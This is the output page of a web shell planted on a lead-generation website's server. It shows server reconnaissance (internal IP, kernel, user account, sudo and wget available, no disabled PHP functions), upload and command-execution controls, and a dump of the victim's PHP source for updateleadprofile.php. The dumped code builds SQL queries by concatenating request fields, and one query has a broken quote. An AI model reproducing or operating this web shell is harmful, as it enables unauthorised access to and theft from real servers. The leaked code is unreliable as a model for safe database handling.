403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/updateleadprofile.php
<?
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lc/admin/inc/functions.includes.php'); 
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/Logger.php");

SendDebug(__FILE__); 
$_REQUEST = sanitize($_REQUEST); 
$aff_id = preg_replace('/[^0-9a-z]/','',strtolower($_REQUEST['aff_id'])); 
$lead_id = preg_replace('/[^0-9]/','',$_REQUEST['lead_id']);

if ($aff_id == "") {
	SendError(__FILE__.' at line '.__LINE__, 'No affiliate id passed', array('HTTP_USER_AGENT'=>$_SERVER['HTTP_USER_AGENT'])); 
	die("Failure: no affiliate id passed");
}

if ($lead_id == "") {
	SendError(__FILE__.' at line '.__LINE__, 'Invalid lead id', array('HTTP_USER_AGENT'=>$_SERVER['HTTP_USER_AGENT'])); 
	die("Failure: invalid lead id");
}
	
if(!$db = connect_lc2user_new('lc2'.$aff_id.'_lc')) {
	SendError(__FILE__." at line ".__LINE__, "Failure to connect to database (lc2".$aff_id."_lc). MySQL: ".$db->error());
	die("Failure: Unable to connect to database.");  
} 

$types = ''; 
if(!empty($_REQUEST['subcategories'])) {
	$types = implode(',',$_REQUEST['subcategories']); 
}

$db->query("	UPDATE lead_profile SET
					profile_category_id='".$db->clean($_REQUEST['category_id'])."',
					types='".$db->clean($types)."',
					gender='".$db->clean($_REQUEST['gender'])."',
					age='".$db->clean($_REQUEST['age'])."',
					citizenship='".$db->clean($_REQUEST['citizenship'])."',
					money='".$db->clean($_REQUEST['money'])."',
					description='".$db->clean($_REQUEST['description'])."',
					uniqueness='".$db->clean($_REQUEST['uniqueness'])."',
					phone='".$db->clean($_REQUEST['phone'])."',
					ip_address='".$db->clean($_REQUEST['ip_address'])."',
					date_captured=now()
				WHERE
					lead_id='".$db->clean($lead_id)."';");

if($db->errno() > 0) {
	SendError(__FILE__." at line ".__LINE__, " SQL Error: ".$db->error());
	die("Failure: Error while trying to add lead profile");  
}

//add extra education profile questions
if($_REQUEST['category_id']=='2') {
	$db->query("UPDATE lead_profile_education SET
					diploma='".$db->clean($_REQUEST['diploma'])."',
					online_business='".$db->clean($_REQUEST['online_business'])."',
					serious_scale='".$db->clean($_REQUEST['serious_scale'])."',
					college='".$db->clean($_REQUEST['college'])."',
					degree='".$db->clean($_REQUEST['degree'])."',
					willing_second_degree='".$db->clean($_REQUEST['willing_second_degree'])."',
					have_computer='".$db->clean($_REQUEST['have_computer']).")
				WHERE
					lead_id='".$db->clean($lead_id)."';"
	);
}

if(!empty($_REQUEST['subcategories'])) {
	$db->query("DELETE FROM lead_profile_subcategories WHERE lead_id='".$db->clean($lead_id)."'");
	foreach ($_REQUEST['subcategories'] as $id) {
		$db->query("INSERT INTO lead_profile_subcategories ( lead_id, profile_subcategory_id ) VALUES ( '".$db->clean($lead_id)."', '".$db->clean($id)."');");
	}
}

if(!empty($_REQUEST['inform_me'])) {
	$db->query("UPDATE lc_leads set inform_me='".$db->clean($_REQUEST['inform_me'])."' WHERE id='".$db->clean($lead_id)."'");
}

echo "Success";
exit();

Youez - 2016 - github.com/yon3zu
LinuXploit